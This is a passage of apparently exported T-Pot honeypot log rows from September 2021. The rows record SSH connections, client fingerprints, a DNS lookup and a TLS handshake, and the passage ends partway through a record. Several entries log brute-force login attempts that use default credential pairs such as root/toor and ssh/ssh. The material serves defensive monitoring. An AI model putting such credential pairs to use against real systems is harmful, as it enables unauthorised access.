23997	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:19.001842+03	2021-09-20 14:15:08.22447+03	{"_id": "XAbkAnwBvYTbRNuEdhCO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:35852 (192.168.176.2:22) [session: fa72da21487b]", "session": "fa72da21487b", "@version": "1", "protocol": "ssh", "src_port": 35852, "dest_port": 22, "timestamp": "2021-09-20T11:08:19.001842Z", "@timestamp": "2021-09-20T11:08:19.001Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23998	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:19.076313+03	2021-09-20 14:15:08.225471+03	{"_id": "WgbkAnwBvYTbRNuEdhCN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fa72da21487b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:19.076313Z", "@timestamp": "2021-09-20T11:08:19.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23999	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:19.336397+03	2021-09-20 14:15:08.22647+03	{"_id": "awbkAnwBvYTbRNuEeRDb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60396, "dest_port": 22, "timestamp": "2021-09-20T11:08:19.336397", "@timestamp": "2021-09-20T11:08:19.336Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24000	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:20.133179+03	2021-09-20 14:15:08.228471+03	{"_id": "dgbkAnwBvYTbRNuEehB9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:57460 (192.168.176.2:22) [session: 671c62b37a79]", "session": "671c62b37a79", "@version": "1", "protocol": "ssh", "src_port": 57460, "dest_port": 22, "timestamp": "2021-09-20T11:08:20.133179Z", "@timestamp": "2021-09-20T11:08:20.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24001	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:08:20.415189+03	2021-09-20 14:15:08.22947+03	{"_id": "jQbkAnwBvYTbRNuEfRDC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40156, "dest_port": 22, "timestamp": "2021-09-20T11:08:20.415189", "@timestamp": "2021-09-20T11:08:20.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24002	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:20.432848+03	2021-09-20 14:15:08.23047+03	{"_id": "jwbkAnwBvYTbRNuEfRDC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57460, "dest_port": 22, "timestamp": "2021-09-20T11:08:20.432848", "@timestamp": "2021-09-20T11:08:20.432Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24003	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:08:21.928938+03	2021-09-20 14:15:08.231471+03	{"_id": "pQbkAnwBvYTbRNuEgBDG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 16476, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2145, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1580753781860170, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 35629, "timestamp": "2021-09-20T11:08:21.928938Z", "@timestamp": "2021-09-20T11:08:21.928Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
24004	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:21.980576+03	2021-09-20 14:15:08.232471+03	{"_id": "pgbkAnwBvYTbRNuEgRCr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34818, "dest_port": 443, "timestamp": "2021-09-20T11:08:21.980576", "@timestamp": "2021-09-20T11:08:21.980Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
24005	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:22.308606+03	2021-09-20 14:15:08.234471+03	{"_id": "sQbkAnwBvYTbRNuEghBL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:56406 (192.168.176.2:22) [session: d30423c30be5]", "session": "d30423c30be5", "@version": "1", "protocol": "ssh", "src_port": 56406, "dest_port": 22, "timestamp": "2021-09-20T11:08:22.308606Z", "@timestamp": "2021-09-20T11:08:22.308Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24006	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:21.819774+03	2021-09-20 14:15:08.23547+03	{"_id": "tgbkAnwBvYTbRNuEghBL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "71345146d39d", "@version": "1", "duration": 2.7578699588775635, "timestamp": "2021-09-20T11:08:21.819774Z", "@timestamp": "2021-09-20T11:08:21.819Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24007	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:22.154236+03	2021-09-20 14:15:08.23647+03	{"_id": "vgbkAnwBvYTbRNuEghBL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/toor] failed", "session": "97dff7981ffd", "@version": "1", "password": "toor", "username": "root", "timestamp": "2021-09-20T11:08:22.154236Z", "@timestamp": "2021-09-20T11:08:22.154Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
24008	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:22.158088+03	2021-09-20 14:15:08.238471+03	{"_id": "vwbkAnwBvYTbRNuEghBL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "16fb460ab473", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:22.158088Z", "@timestamp": "2021-09-20T11:08:22.158Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24009	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:21.914461+03	2021-09-20 14:15:08.23947+03	{"_id": "sAbkAnwBvYTbRNuEghBL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ssh/ssh] failed", "session": "671c62b37a79", "@version": "1", "password": "ssh", "username": "ssh", "timestamp": "2021-09-20T11:08:21.914461Z", "@timestamp": "2021-09-20T11:08:21.914Z", "t-pot_ip_ext": "109.199.241.180", 